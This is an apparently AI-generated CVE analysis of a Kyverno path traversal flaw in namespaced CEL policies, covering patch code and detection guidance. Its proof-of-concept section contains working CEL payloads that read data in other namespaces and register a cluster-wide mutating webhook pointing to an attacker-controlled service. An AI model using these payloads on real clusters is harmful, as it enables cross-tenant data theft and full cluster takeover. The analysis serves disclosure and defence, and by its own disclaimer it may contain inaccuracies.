Automated Threat Modeling

Brief Summary: Kyverno CVE-2026-122311 Path Traversal in Namespaced CEL Policies with PoC and Patch Analysis

A summary of CVE-2026-122311, a path traversal flaw in Kyverno namespaced CEL policies that lets a single-namespace tenant escape to full cluster compromise. Includes the published PoC, patch details, and detection guidance.

CVE Analysis

13 min read

Gaurav Sarraf
Gaurav Sarraf

2026-11-04

Brief Summary: Kyverno CVE-2026-122311 Path Traversal in Namespaced CEL Policies with PoC and Patch Analysis
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A single-namespace tenant with permission to author a Kyverno policy could read Secrets in kube-system, enumerate cluster-scoped RoleBindings, and register a cluster-wide mutating webhook, all using the Kyverno admission controller's own identity. The isolation promise that a NamespacedValidatingPolicy stays pinned to its namespace turns out to be enforced on the namespace value only, while path segments in the resource argument pass straight through to the Kubernetes API server without validation.

Kyverno is an open-source Kubernetes policy engine originally created by Nirmata and contributed to CNCF in 2020, where it reached graduation in March 2026. It lets operators define admission and mutation policies as Kubernetes resources, and its namespaced policy types are designed so that namespace owners can manage policies without cluster administrator permissions. That delegation model is exactly what this vulnerability abuses.

Technical Information

The root cause is a mismatch between what Kyverno validates and what it sends to the API server. For namespaced CEL policies, Kyverno pins the namespace internally, so a namespaced policy is supposed to touch only objects in its own namespace. But the resource argument passed to resource.get() and resource.post() is split on the forward slash. The first component becomes the resource, and every component after it is treated as a client-go subresource.

client-go validates the namespace and object name, but it never validates subresource path elements. It then builds the request URL using path.Join, which resolves .. segments. Because the resolution happens inside the Kyverno pod before the request is sent, a .. in a subresource can climb out of /api/v1/namespaces/<tenant>/... to any path on the API server. The resulting request executes with the Kyverno admission controller ServiceAccount's RBAC, not the tenant's identity.

The vulnerable code lives in pkg/cel/libs/context.go:

func (cp *contextProvider) GetResource(apiVersion, resource, namespace, name string) (*unstructured.Unstructured, error) { groupVersion, err := schema.ParseGroupVersion(apiVersion) if err != nil { return nil, err } parts := strings.Split(resource, "/") resource = parts[0] subresources := parts[1:] resourceInteface := cp.getResourceClient(groupVersion, resource, namespace) return resourceInteface.Get(context.TODO(), name, metav1.GetOptions{}, subresources...) }

PostResource is written identically and passes the same slice to Create. Starting from /api/v1/namespaces/tenant-ns/configmaps/x, four .. segments reach /api/v1 and six reach the API root, so any path is reachable.

Attack flow

  1. A tenant has RBAC limited to its own namespace: it can create namespacedvalidatingpolicies and configmaps in tenant-ns only, with no cross-namespace read access.
  2. The tenant creates a NamespacedValidatingPolicy whose CEL expression calls resource.get() or resource.post() with a resource string that begins with a legitimate resource name, then a slash, then a run of .. segments followed by the target path.
  3. The tenant creates a resource that the policy matches, triggering policy evaluation.
  4. Kyverno splits the resource string, passes the ..-laden subresources to client-go, and client-go's path.Join resolves them, sending a request to the attacker-chosen path.
  5. The request executes with the Kyverno admission controller ServiceAccount, so the tenant obtains read or write access bounded only by that controller's RBAC.

The advisory notes that every namespaced CEL policy type registering the shared resource library is affected (vpol, mpol, gpol, dpol, ivpol). The generating and deleting variants run in the background and cleanup controllers, which often have wider permissions. resource.list() is not affected because List takes no subresources.

Proof of Concept

A fully worked public proof of concept is published in the Kyverno GitHub Security Advisory GHSA-4pqm-wqq6-h9q2, credited to researcher zer0d4y5. The lab used a kind cluster running Kubernetes v1.32.2 with Kyverno v1.19.0 installed unmodified from the official release manifest, with no extra RBAC granted.

Setup. Create a tenant namespace, a cluster secret to exfiltrate, and a ServiceAccount scoped to its own namespace:

kubectl create ns tenant-ns kubectl -n kube-system create configmap kv-canary --from-literal=canary='CLUSTER-SECRET-VALUE-7f3a2b' kubectl -n tenant-ns create configmap local-cm --from-literal=hello=world

Controls confirm the tenant has no cross-namespace access of its own:

$ kubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:tenant-ns:tenant-user
no
$ kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:tenant-ns:tenant-user
no
$ kubectl auth can-i create namespacedvalidatingpolicies.policies.kyverno.io -n tenant-ns --as=system:serviceaccount:tenant-ns:tenant-user
yes

Exploit 1, cross-namespace read. A NamespacedValidatingPolicy uses the denial message as an exfiltration sink. The key payload is the traversal in the resource argument:

messageExpression: >- 'LEAK:' + string(resource.get('v1', 'configmaps/../../../../namespaces/kube-system/configmaps/kv-canary','x').data.canary)

Triggering the policy returns the secret from another namespace:

$ kubectl -n tenant-ns create configmap trigger2 --from-literal=a=b --as=system:serviceaccount:tenant-ns:tenant-user
error: failed to create configmap: admission webhook "nvpol.validate.kyverno.svc-fail" denied the request:
  Policy exfil-read failed: LEAK:CLUSTER-SECRET-VALUE-7f3a2b

Exploit 2, cluster-scoped read. Six .. segments leave /api/v1 entirely to read a cluster-scoped object:

messageExpression: >- 'CLUSTERSCOPE roleRef=' + string(resource.get('v1', 'configmaps/../../../../../../apis/rbac.authorization.k8s.io/v1/clusterrolebindings/cluster-admin','x').roleRef.name) + ' subj0=' + string(resource.get('v1', 'configmaps/../../../../../../apis/rbac.authorization.k8s.io/v1/clusterrolebindings/cluster-admin','x').subjects[0].name)

The result is Policy t-cluster failed: CLUSTERSCOPE roleRef=cluster-admin subj0=system:masters. Reads remain bounded by the controller's RBAC; a Secret read is denied, but the request still reaches kube-system.

Exploit 3, cluster-scoped write and takeover. resource.post() follows the same path, and the default admission controller ClusterRole can create webhook configurations, so the tenant registers a cluster-wide MutatingWebhookConfiguration pointed at a Service in the tenant namespace:

messageExpression: >- 'CREATED:' + string(resource.post('v1', 'configmaps/../../../../../../apis/admissionregistration.k8s.io/v1/mutatingwebhookconfigurations', { "apiVersion": dyn("admissionregistration.k8s.io/v1"), "kind": dyn("MutatingWebhookConfiguration"), "metadata": dyn({"name": dyn("tenant-owns-the-cluster")}), "webhooks": dyn([dyn({ "name": dyn("pwn.tenant.example.com"), "admissionReviewVersions": dyn([dyn("v1")]), "sideEffects": dyn("None"), "failurePolicy": dyn("Fail"), "clientConfig": dyn({"url": dyn("https://attacker.tenant-ns.svc:8443/mutate")}), "rules": dyn([dyn({ "apiGroups": dyn([dyn("")]), "apiVersions": dyn([dyn("v1")]), "operations": dyn([dyn("CREATE")]), "resources": dyn([dyn("configmaps")]), "scope": dyn("*") })]) })]) }).metadata.name)

The object is created with kyverno as the field manager (Policy t-takeover failed: CREATED:tenant-owns-the-cluster), after which a cluster admin write in kube-system is routed through the tenant's webhook. The researcher deliberately stopped at an unresolvable host; a wildcard rule with a live listener would intercept and patch every object created or updated cluster-wide.

Patch Information

The fix ships in Kyverno v1.19.2, published October 20, 2026. Both the GitHub advisory and NVD list 1.19.2 as the first unaffected release. The v1.19.2 release notes list this advisory under "API path validation and namespace confinement (Critical)" and point to PRs #17984 and #18021.

The fix reached the release-1.19 branch through backport PR #17984, squash merged on October 13, 2026 as commit f67231def576eb0ad153dd8cbfc836908ab14c14. Two commits in that PR matter for this CVE: one validating CEL resource.get/post/list path segments, and one that shares a single API path segment validator and covers subresources via a dclient helper built on apimachinery's IsValidPathSegmentName.

In v1.19.2, every value that becomes a URL path segment is checked before the dynamic client is built:

func (cp *contextProvider) GetResource(apiVersion, resource, namespace, name string) (*unstructured.Unstructured, error) { groupVersion, err := schema.ParseGroupVersion(apiVersion) if err != nil { return nil, err } if err := validateGroupVersion(groupVersion); err != nil { return nil, err } if err := validateNamespaceSegment(namespace); err != nil { return nil, err } resource, subresources, err := splitResourcePath(resource) if err != nil { return nil, err } if err := validatePathSegment("name", name); err != nil { return nil, err } resourceInteface := cp.getResourceClient(groupVersion, resource, namespace) return resourceInteface.Get(context.TODO(), name, metav1.GetOptions{}, subresources...) }

The split-on-slash behavior is kept so legitimate subresource access such as pods/status still works, but every piece produced by the split is now validated in the new pkg/cel/libs/resource_path.go:

func splitResourcePath(resource string) (string, []string, error) { parts := strings.Split(resource, "/") if err := validatePathSegment("resource", parts[0]); err != nil { return "", nil, err } subresources := parts[1:] for _, s := range subresources { if err := validatePathSegment("subresource", s); err != nil { return "", nil, err } } return parts[0], subresources, nil }

All of these call one shared validator, dclient.ValidatePathSegment in pkg/clients/dclient/path_segment.go:

func ValidatePathSegment(kind, value string) error { if value == "" { return fmt.Errorf("invalid %s %q: must not be empty", kind, value) } if strings.Contains(value, "\\") { return fmt.Errorf("invalid %s %q: must not contain a path separator", kind, value) } if problems := pathvalidation.IsValidPathSegmentName(value); len(problems) > 0 { return fmt.Errorf("invalid %s %q: %s", kind, value, strings.Join(problems, ", ")) } return nil }

IsValidPathSegmentName rejects ., .., and any segment containing / or %. Kyverno adds two checks of its own: empty strings and backslashes. A resource string like configmaps/../../... splits into configmaps plus a subresource list starting with .., the first .. fails validation, and the call returns an error before any HTTP request is made. PostResource gets the same treatment, and ListResources is hardened as defense in depth even though the advisory said it was not exploitable.

The PR also closes other places where policy author strings reached the dynamic client as raw path segments: the dclient methods GetResource, UpdateResource and ApplyResource now validate their subresources parameter; the mutating policy target route now rejects unsafe segments from targetMatchConstraints.resources[]; and GetGVRs skips and logs unsafe entries. New tests run a real dynamic client against an httptest server to confirm no request is sent for a traversal input, which the old fake-client tests could never have caught. One caveat: the shared validator is not a complete chokepoint, so code that reaches the dynamic client directly through GetDynamicInterface() must still call ValidatePathSegment itself.

Detection Methods

No public Sigma, YARA, Snort, Suricata or EDR signature exists for CVE-2026-122311, and no real-world IoCs have been published. Network and WAF signatures will not catch this because path.Join resolves the .. segments inside the Kyverno pod before the request leaves it. The API server, its audit log, and any traffic inspection see a clean path such as /api/v1/namespaces/kube-system/configmaps/... with no dots, coming from Kyverno's own ServiceAccount. Detection must focus on the policy objects, the channels data leaks through, and the objects left behind.

1. Check whether you are exposed. NVD and VulnCheck list Kyverno 1.16.0 up to but not including 1.19.2 as affected. Verify the running image tag rather than the chart version:

kubectl get pods -n kyverno -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].image}{"\n"}{end}'

Find which tenant identities can create namespaced CEL policies, and confirm whether the controller can create cluster-wide webhooks:

$ kubectl auth can-i create namespacedvalidatingpolicies.policies.kyverno.io -n tenant-ns --as=system:serviceaccount:tenant-ns:tenant-user
yes
$ kubectl auth can-i create mutatingwebhookconfigurations --as=system:serviceaccount:kyverno:kyverno-admission-controller
yes

If you grant Kyverno extra rights through the rbac.kyverno.io/aggregate-to-*-controller ClusterRoles, assume an attacker can read more.

2. Hunt through existing policies, your best detection. The exploit must be stored in a Kubernetes object, so you can find it statically. List every namespaced policy and note who created it:

kubectl get policies.kyverno.io,cleanuppolicies.kyverno.io -A
kubectl get namespacedmutatingpolicies,namespacedvalidatingpolicies,namespacedgeneratingpolicies,namespaceddeletingpolicies,namespacedimagevalidatingpolicies -A

Then check the CEL expressions for calls to resource.get( or resource.post(. In a legitimate call the second argument is a plain resource name like 'configmaps'. Treat any / in that argument as suspicious, and any .., ., % or \ as malicious. Hunt across every namespaced CEL policy type (vpol, mpol, gpol, dpol, ivpol), since all of their compilers register the vulnerable resource library. The same strings also appear in policy CREATE and UPDATE events in Kubernetes audit logs.

3. Watch the channels data leaks through. A read-style exploit must return the stolen value to the tenant. The PoC used the admission denial message (for example Policy exfil-read failed: LEAK:...), but audit annotations, policy reports and mutation output work just as well. Look for tenant-owned policies whose messages or reports contain data that does not belong to that namespace, such as cluster RoleBinding subjects or kube-system ConfigMap values. Permission errors are also useful: when the controller's RBAC blocks a traversal, the evaluation error names the admission controller identity and a namespace the policy should never reach, for example User "system:serviceaccount:kyverno:kyverno-admission-controller" cannot get resource "secrets" ... in the namespace "kube-system".

4. Look for post-exploitation artifacts. The worst outcome is a tenant-controlled admission webhook. Because Kyverno made the write, managedFields records Kyverno as the field manager:

$ kubectl get mutatingwebhookconfiguration tenant-owns-the-cluster -o jsonpath='{.metadata.managedFields[*].manager}'
kyverno

Any webhook configuration that Kyverno did not install for itself, but whose field manager is kyverno, is highly suspicious, especially if its endpoint points to a tenant namespace or an external URL. Check webhook failure policies and watch sensitive namespaces for new RoleBindings, webhook configurations and NetworkPolicies:

kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations -o custom-columns=NAME:.metadata.name,POLICY:.webhooks[*].failurePolicy | grep -iE 'NAME|kyverno'

In API server audit logs, look for writes and reads by the Kyverno admission, background or cleanup controller ServiceAccounts against cluster-scoped objects or namespaces unrelated to any cluster-wide policy.

5. Attempts after you patch. Version 1.19.2 adds ValidatePathSegment, which rejects empty segments, segments containing \, and anything that fails IsValidPathSegmentName. Errors use the format invalid %s %q: .... If a namespaced policy on an upgraded cluster triggers this kind of path segment validation error, someone tried the traversal; track down the policy and its author. The lab strings (kv-canary, tenant-owns-the-cluster, pwn.tenant.example.com, attacker.tenant-ns.svc) come from the researcher's reproduction, so hunt for the structure of the attack rather than those exact values.

Affected Systems and Versions

Kyverno is affected from version 1.16.0 up to but not including 1.19.2. The CNA affected range is 1.16.0 or later, before 1.19.2. The GitHub advisory header lists 1.19.0 and earlier, with 1.19.2 patched; the PoC notes the same code is present in 1.18.2. Because the CNA explicitly includes releases before 1.19.2, the GitHub header should not be used to declare 1.19.1 safe. The first unaffected release is Kyverno 1.19.2. The attack requires a tenant able to create a NamespacedValidatingPolicy (or another namespaced CEL policy kind) and a resource matched by that policy. Impact is bounded by the admission controller's RBAC; in a default install the controller's ClusterRole could create MutatingWebhookConfigurations, enabling the cluster takeover path.

Vendor Security History

Kyverno's 2023 third-party security audit, conducted by Ada Logics with OSTIF and funded by CNCF, defined a threat model, manually audited code, assessed fuzzing coverage and evaluated supply chain risk against SLSA. It found 10 security issues, including six CVEs (one High, two Moderate, three Low). Four of those originated in a Notary verifier that had not yet been released, and the upstream dependency issue was fixed by Cosign maintainers; fixes were incorporated into Kyverno 1.10.6 and 1.11.1. A separate fuzzing engagement in July and August 2023 produced 15 fuzzers and found three bugs, all fixed, with the fuzzers continuing through OSS-Fuzz afterward. The v1.19.2 release addresses this advisory among a broader set of security fixes. This history shows documented external assurance work and a demonstrated remediation process, but CNCF maturity, fuzzing and SLSA-related release assurance do not by themselves establish that a particular authorization boundary is secure.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization